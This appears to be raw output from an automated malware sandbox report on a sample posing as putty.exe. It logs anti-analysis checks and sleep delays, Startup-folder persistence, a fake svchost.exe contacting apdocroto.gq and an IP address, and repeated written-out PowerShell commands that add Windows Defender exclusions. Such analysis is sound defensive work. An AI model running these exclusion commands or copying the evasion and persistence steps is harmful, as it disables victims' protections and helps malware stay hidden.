Source: C:\Users\user\AppData\Roaming\putty.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\putty.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Resources\Themes\Aero\Shell\52V57U7\svchost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Resources\Themes\Aero\Shell\52V57U7\svchost.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Roaming\putty.exe	Window / User API: threadDelayed 7711
Source: C:\Users\user\AppData\Roaming\putty.exe	Window / User API: threadDelayed 2011
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe	Window / User API: threadDelayed 7692
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe	Window / User API: threadDelayed 2049
Source: C:\Windows\SysWOW64\WerFault.exe	Window / User API: threadDelayed 462

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 2620	Thread sleep time: -120000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe TID: 1276	Thread sleep count: 100 > 30	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe TID: 1920	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3000	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2540	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2592	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2320	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe TID: 2944	Thread sleep count: 100 > 30
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe TID: 944	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1900	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2552	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2588	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Roaming\putty.exe TID: 1836	Thread sleep time: -420000s >= -30000s
Source: C:\Users\user\AppData\Roaming\putty.exe TID: 2392	Thread sleep time: -36893488147419080s >= -30000s
Source: C:\Users\user\AppData\Roaming\putty.exe TID: 2392	Thread sleep time: -120000s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2208	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2848	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2608	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2492	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\Resources\Themes\Aero\Shell\52V57U7\svchost.exe TID: 1872	Thread sleep count: 100 > 30
Source: C:\Windows\Resources\Themes\Aero\Shell\52V57U7\svchost.exe TID: 2648	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe TID: 764	Thread sleep time: -360000s >= -30000s
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe TID: 2196	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe TID: 2196	Thread sleep time: -120000s >= -30000s
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe TID: 2560	Thread sleep count: 7692 > 30
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe TID: 2560	Thread sleep count: 2049 > 30
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe TID: 2196	Thread sleep count: 48 > 30
Source: C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe TID: 2512	Thread sleep count: 100 > 30
Source: C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe TID: 2588	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 920	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2792	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2256	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2948	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2492	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2664	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2460	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1292	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\Resources\Themes\Aero\Shell\52V57U7\svchost.exe TID: 2992	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\Resources\Themes\Aero\Shell\52V57U7\svchost.exe TID: 2684	Thread sleep count: 57 > 30
Source: C:\Windows\Resources\Themes\Aero\Shell\52V57U7\svchost.exe TID: 2684	Thread sleep count: 141 > 30
Source: C:\Windows\Resources\Themes\Aero\Shell\52V57U7\svchost.exe TID: 2992	Thread sleep time: -537700s >= -30000s

Source: C:\Users\user\AppData\Roaming\putty.exe	WMI Queries: IWbemServices::CreateInstanceEnum - Win32_Processor
Source: C:\Users\user\AppData\Roaming\putty.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\putty.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\putty.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\putty.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\putty.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\putty.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe	WMI Queries: IWbemServices::CreateInstanceEnum - Win32_Processor
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor

Source: C:\Windows\Resources\Themes\Aero\Shell\52V57U7\svchost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe	Last function: Thread delayed

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Code function: 4_2_027E096A GetSystemInfo,

4_2_027E096A

Source: C:\Users\user\AppData\Roaming\putty.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\putty.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\putty.exe	Thread delayed: delay time: 30000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Resources\Themes\Aero\Shell\52V57U7\svchost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Resources\Themes\Aero\Shell\52V57U7\svchost.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Roaming\putty.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe	File opened: C:\Users\user\	Jump to behavior

Source: powershell.exe, 00000011.00000003.2130514478.000000000063C000.00000004.00000001.sdmp

Binary or memory string: \\?\IDE#CdRomNECVMWar_VMware_SATA_CD01_______________1.00____#6&373888b8&0&1.0.0#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}]

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe

System information queried: KernelDebuggerInformation

Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe	Process queried: DebugPort

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Roaming\putty.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\Resources\Themes\Aero\Shell\52V57U7\svchost.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Roaming\putty.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\Resources\Themes\Aero\Shell\52V57U7\svchost.exe	Domain query: apdocroto.gq
Source: C:\Windows\Resources\Themes\Aero\Shell\52V57U7\svchost.exe	Network Connect: 172.67.158.27 80

Adds a directory exclusion to Windows Defender

Show sources

Source: C:\Users\user\AppData\Roaming\putty.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\putty.exe' -Force
Source: C:\Users\user\AppData\Roaming\putty.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe' -Force
Source: C:\Users\user\AppData\Roaming\putty.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe' -Force
Source: C:\Users\user\AppData\Roaming\putty.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\putty.exe' -Force
Source: C:\Users\user\AppData\Roaming\putty.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Resources\Themes\aero\Shell\52V57U7\svchost.exe' -Force
Source: C:\Users\user\AppData\Roaming\putty.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\putty.exe' -Force
Source: C:\Users\user\AppData\Roaming\putty.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Resources\Themes\aero\Shell\52V57U7\svchost.exe' -Force
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe' -Force
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Resources\Themes\aero\Shell\52V57U7\svchost.exe' -Force
Source: C:\Windows\Resources\Themes\Aero\Shell\52V57U7\svchost.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Resources\Themes\aero\Shell\52V57U7\svchost.exe' -Force
Source: C:\Windows\Resources\Themes\Aero\Shell\52V57U7\svchost.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Resources\Themes\aero\Shell\52V57U7\svchost.exe' -Force
Source: C:\Windows\Resources\Themes\Aero\Shell\52V57U7\svchost.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Resources\Themes\aero\Shell\52V57U7\svchost.exe' -Force
Source: C:\Windows\Resources\Themes\Aero\Shell\52V57U7\svchost.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Resources\Themes\aero\Shell\52V57U7\svchost.exe' -Force
Source: C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe' -Force
Source: C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Resources\Themes\aero\Shell\52V57U7\svchost.exe' -Force
Source: C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe' -Force
Source: C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Resources\Themes\aero\Shell\52V57U7\svchost.exe' -Force
Source: C:\Users\user\AppData\Roaming\putty.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\putty.exe' -Force	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe' -Force	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe' -Force	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\putty.exe' -Force	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Resources\Themes\aero\Shell\52V57U7\svchost.exe' -Force	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\putty.exe' -Force	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Resources\Themes\aero\Shell\52V57U7\svchost.exe' -Force	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe' -Force
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Resources\Themes\aero\Shell\52V57U7\svchost.exe' -Force
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe' -Force
